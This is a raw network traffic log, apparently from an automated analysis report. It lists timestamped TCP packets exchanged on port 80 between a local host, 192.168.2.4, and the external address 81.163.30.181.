Jan 14, 2022 20:29:57.024606943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024643898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024647951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024689913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024728060 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024729013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024769068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024806023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024806976 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024844885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024882078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024883986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024921894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.024960041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.024960041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025000095 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025038004 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025039911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025080919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025116920 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025118113 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025156021 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025194883 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025206089 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025232077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025271893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025295019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025322914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025362015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025377989 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025402069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025439978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025445938 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025479078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025517941 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025517941 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025554895 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025594950 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025594950 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025633097 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025671959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025672913 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025723934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025760889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.025768042 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.025799990 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.033127069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.033162117 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.033273935 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.033293009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.083715916 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.083772898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.083810091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.083851099 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.083890915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.083923101 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.083931923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.083940029 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.083971977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.083975077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084011078 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084012985 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084052086 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084063053 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084091902 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084091902 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084145069 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084150076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084183931 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084184885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084223986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084223986 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084261894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084264994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084300995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084301949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084340096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084342957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084379911 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084381104 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084422112 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084422112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084460020 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084464073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084498882 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084500074 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084539890 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084542036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084580898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084582090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084623098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084629059 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084661961 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084662914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084702015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084702015 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084743023 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084743977 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084781885 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084783077 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084821939 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084824085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084861040 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084861994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084898949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084903002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084939003 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.084939957 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084980011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.084980011 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085021019 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085021973 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085061073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085062027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085098028 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085104942 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085139036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085139036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085179090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085179090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085217953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085221052 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085257053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085259914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085294008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085299015 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085333109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085335016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085372925 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085376024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085411072 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085413933 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085448027 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085449934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085486889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085489035 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085525990 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085526943 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085565090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085577011 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085604906 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085608006 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085644960 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085645914 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085686922 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085688114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085722923 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085733891 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085762024 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085762978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085800886 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085803032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085840940 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085841894 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085886002 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085932970 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.085972071 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.085973978 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086014032 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086016893 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086054087 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086055994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086091995 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086092949 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086129904 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086138964 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086168051 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086168051 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086205959 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086205959 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086242914 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086246014 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086285114 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086286068 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086323023 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086332083 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086359978 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086363077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086400986 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086402893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086438894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086445093 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086477995 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086478949 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086517096 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086517096 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086558104 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086560965 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086597919 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086597919 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086636066 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086637020 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086674929 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086682081 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086714983 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086715937 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086751938 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086752892 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086791992 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086800098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086832047 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086833954 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086869001 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086872101 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086913109 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086924076 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086955070 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.086960077 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.086999893 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087001085 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087038994 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087040901 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087079048 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087079048 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087117910 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087119102 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087158918 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087158918 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087196112 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087198019 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087235928 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087236881 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087275982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087275982 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087316036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087317944 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087354898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087356091 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087393045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087397099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087431908 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087431908 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087471008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087471008 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087507963 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087510109 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087547064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087547064 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087584972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087587118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087624073 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087624073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087663889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087665081 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087702036 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087707043 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087740898 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087743044 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087779999 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087781906 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087817907 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087819099 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087856054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087857008 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087894917 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087894917 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087934017 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087934017 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.087973118 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.087975025 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.088012934 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.088015079 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.088052034 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.088053942 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.088092089 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.088093996 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.088130951 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.088130951 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.088169098 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.088169098 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.088207960 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.088210106 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.088244915 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.091151953 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.091196060 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.091229916 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.091255903 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147169113 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147228956 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147269964 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147310972 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147350073 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147389889 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147428036 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147429943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147468090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147484064 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147506952 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147546053 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147572041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147584915 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147598982 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147624969 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147664070 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147667885 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147703886 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147744894 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147747040 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147783041 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147821903 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147825956 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147861004 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147898912 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147902012 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.147938013 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147977114 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.147993088 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148019075 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148058891 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148063898 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148096085 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148135900 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148138046 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148175001 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148212910 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148216009 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148252010 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148291111 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148302078 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148332119 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148371935 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148372889 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148410082 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148448944 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148451090 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148488045 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148525000 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148556948 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148565054 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148602962 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148607016 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148642063 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148683071 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148685932 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148720026 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148760080 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148766041 CET	49882	80	192.168.2.4	81.163.30.181
Jan 14, 2022 20:29:57.148798943 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148837090 CET	80	49882	81.163.30.181	192.168.2.4
Jan 14, 2022 20:29:57.148840904 CET	49882	80	192.168.2.4	81.163.30.181
